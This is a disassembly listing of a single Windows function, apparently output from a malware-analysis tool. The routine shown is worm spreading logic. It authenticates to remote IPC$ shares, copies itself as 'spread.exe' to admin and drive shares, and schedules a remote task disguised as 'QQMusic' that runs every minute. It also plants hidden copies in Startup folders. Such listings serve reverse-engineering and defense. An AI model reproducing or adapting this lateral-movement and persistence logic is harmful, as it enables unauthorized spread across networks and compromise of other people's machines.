Function at 0x403a10
Capabilities:
Connect network resource
Copy file
Create process on windows
Schedule task via schtasks
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x5ac
mov eax, dword [0x75ce68]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0x5ac], ecx
mov byte [ebp - 0x68], 0
push 0x63
push 0
lea eax, [ebp - 0x67]
push eax
call fcn.0061cde0
add esp, 0xc
mov ecx, dword [ebp + 8]
push ecx
push str._sipc_
lea edx, [ebp - 0x68]
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
mov dword [ebp - 0x5a8], 2
mov dword [ebp - 0x5a4], 0
mov dword [ebp - 0x5a0], 0
mov dword [ebp - 0x59c], 1
mov dword [ebp - 0x598], 0x7068de
lea eax, [ebp - 0x68]
mov dword [ebp - 0x594], eax
mov dword [ebp - 0x58c], 0
mov dword [ebp - 0x590], 0
mov dword [ebp - 0x588], 0
push 0
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 0x10]
push edx
lea eax, [ebp - 0x5a8]
push eax
call dword [sym.imp.MPR.dll_WNetAddConnection2A]
mov dword [ebp - 0x588], eax
cmp dword [ebp - 0x588], 0
jne 0x403da4
mov dword [ebp - 0x584], 0
mov byte [ebp - 0x374], 0
push 0x103
push 0
lea ecx, [ebp - 0x373]
push ecx
call fcn.0061cde0
add esp, 0xc
mov byte [ebp - 0x270], 0
push 0x103
push 0
lea edx, [ebp - 0x26f]
push edx
call fcn.0061cde0
add esp, 0xc
mov byte [ebp - 0x478], 0
push 0x103
push 0
lea eax, [ebp - 0x477]
push eax
call fcn.0061cde0
add esp, 0xc
push 0x104
lea ecx, [ebp - 0x374]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov edx, dword [ebp + 8]
push edx
push str._s_admin__spread.exe
lea eax, [ebp - 0x270]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
push 0
lea ecx, [ebp - 0x270]
push ecx
lea edx, [ebp - 0x374]
push edx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
je 0x403ba2
mov dword [ebp - 0x584], 1
push str.C:Windows_spread.exe
lea eax, [ebp - 0x478]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 8
jmp 0x403c2a
mov dword [ebp - 0x580], 0x43
jmp 0x403bbd
mov ecx, dword [ebp - 0x580]
add ecx, 1
mov dword [ebp - 0x580], ecx
cmp dword [ebp - 0x580], 0x5a
jg 0x403c2a
mov edx, dword [ebp - 0x580]
push edx
mov eax, dword [ebp + 8]
push eax
push str._s_c__spread.exe
lea ecx, [ebp - 0x270]
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
push 0
lea edx, [ebp - 0x270]
push edx
lea eax, [ebp - 0x374]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
je 0x403c28
mov dword [ebp - 0x584], 1
mov ecx, dword [ebp - 0x580]
push ecx
push str._c:_spread.exe
lea edx, [ebp - 0x478]
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
jmp 0x403c2a
jmp 0x403bae
cmp dword [ebp - 0x584], 0
je 0x403d93
mov byte [ebp - 0x57c], 0
push 0x103
push 0
lea eax, [ebp - 0x57b]
push eax
call fcn.0061cde0
add esp, 0xc
push 0x104
push 0
lea ecx, [ebp - 0x57c]
push ecx
call fcn.0061cde0
add esp, 0xc
lea edx, [ebp - 0x478]
push edx
mov eax, dword [ebp + 0x10]
push eax
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
push str.cmd__c_schtasks__S__s__U__s__P___s___create__sc_minute__mo_1__tn__QQMusic___tr__s__F
push 0x104
lea eax, [ebp - 0x57c]
push eax
call fcn.00403ed0
add esp, 0x1c
push 0
lea ecx, [ebp - 0x57c]
push ecx
call dword [sym.imp.KERNEL32.dll_WinExec]
push 0x5c
lea edx, [ebp - 0x270]
push edx
call fcn.00403e40
add esp, 8
test eax, eax
je 0x403d93
push 0x5c
lea eax, [ebp - 0x270]
push eax
call fcn.00403e40
add esp, 8
mov byte [eax], 0
mov byte [ebp - 0x16c], 0
push 0x103
push 0
lea ecx, [ebp - 0x16b]
push ecx
call fcn.0061cde0
add esp, 0xc
mov edx, dword [ebp + 8]
push edx
push str._sC_UsersAdministratorAppDataRoamingMicrosoftWindowsStart_MenuProgramsStartup_spread.exe
push 0x104
lea eax, [ebp - 0x16c]
push eax
call fcn.00403ed0
add esp, 0x10
push 1
lea ecx, [ebp - 0x16c]
push ecx
lea edx, [ebp - 0x374]
push edx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
je 0x403d37
push 0x27
lea eax, [ebp - 0x16c]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
jmp 0x403d93
push 0x104
push 0
lea ecx, [ebp - 0x16c]
push ecx
call fcn.0061cde0
add esp, 0xc
mov edx, dword [ebp + 8]
push edx
push str._sC_ProgramDataMicrosoftWindowsStart_MenuProgramsStartUp_spread.exe
push 0x104
lea eax, [ebp - 0x16c]
push eax
call fcn.00403ed0
add esp, 0x10
push 1
lea ecx, [ebp - 0x16c]
push ecx
lea edx, [ebp - 0x374]
push edx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
je 0x403d93
push 0x27
lea eax, [ebp - 0x16c]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push 1
push 0
mov ecx, dword [ebp - 0x594]
push ecx
call dword [sym.imp.MPR.dll_WNetCancelConnection2A]
mov eax, dword [ebp - 0x588]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.005faac9
mov esp, ebp
pop ebp
ret 0xc